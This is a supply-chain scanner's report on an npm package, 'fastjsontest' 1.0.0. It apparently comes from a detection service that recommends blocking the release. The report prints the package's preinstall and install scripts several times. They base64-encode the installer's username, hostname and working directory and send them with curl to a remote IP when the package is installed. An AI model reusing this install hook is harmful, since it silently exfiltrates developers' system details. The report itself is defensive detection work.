PkgRadar

Package evidence

[email protected]

Install Lifecycle Remote Or Exec: preinstall="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Versions published
1
First published
May 2026
Publisher
fastjsontest

Recommended action

Block this update

Static evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.

Block this release in CIcurl · GitHub Actions

Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.

curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["[email protected]"],"fail_on":"high"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["[email protected]"],"fail_on":"high"}'
Publisherfastjsontest
Artifact bytes438
Previous versionnone
Published2026-05-27T07:04:17.227Z
SHA-256ccb7c23b9423237a15b0d43a7dca11f3b0d39950b938b622222fcc02423858f8

Why flagged

What the scanner saw

Install Lifecycle Remote Or Exec: preinstall="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

scan error

status
Last checked
noneRisk
Score
1.0.0Version

Latest scanner note: error decoding response body

Status history (2 events)
  1. availablescan_error · risk none · score · error decoding response body
  2. newavailable · risk high · score 107 · status changed

Evidence

Static findings

6 static · 0 from release diff · showing high-signal first.

SeverityKindPathDetailPoints
highInstall Lifecycle Remote Or Execpackage.jsonpreinstall="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"30
highInstall Lifecycle Remote Or Execpackage.jsoninstall="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"30
highInstall Lifecycle Repeated Payloadpackage.jsonpreinstall,install="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"25
mediumRemote Payloadpackage/package.jsonmatched "curl "12
Show all 6 findings (low-signal and informational)
SeverityKindPathDetailPoints
highInstall Lifecycle Remote Or Execpackage.jsonpreinstall="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"30
highInstall Lifecycle Remote Or Execpackage.jsoninstall="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"30
highInstall Lifecycle Repeated Payloadpackage.jsonpreinstall,install="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"25
mediumRemote Payloadpackage/package.jsonmatched "curl "12
lowInstall-time lifecycle scriptpackage.jsonpreinstall="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"5
lowInstall-time lifecycle scriptpackage.jsoninstall="b64=$(echo \"$(whoami)@$(hostname):$(pwd):$npm_package_name\" | base64 -w0); curl http://10.95.39.53:8085/$b64"5

Manifest

Package metadata

Scripts2
  • installb64=$(echo "$(whoami)@$(hostname):$(pwd):$npm_package_name" | base64 -w0); curl http://10.95.39.53:8085/$b64
  • preinstallb64=$(echo "$(whoami)@$(hostname):$(pwd):$npm_package_name" | base64 -w0); curl http://10.95.39.53:8085/$b64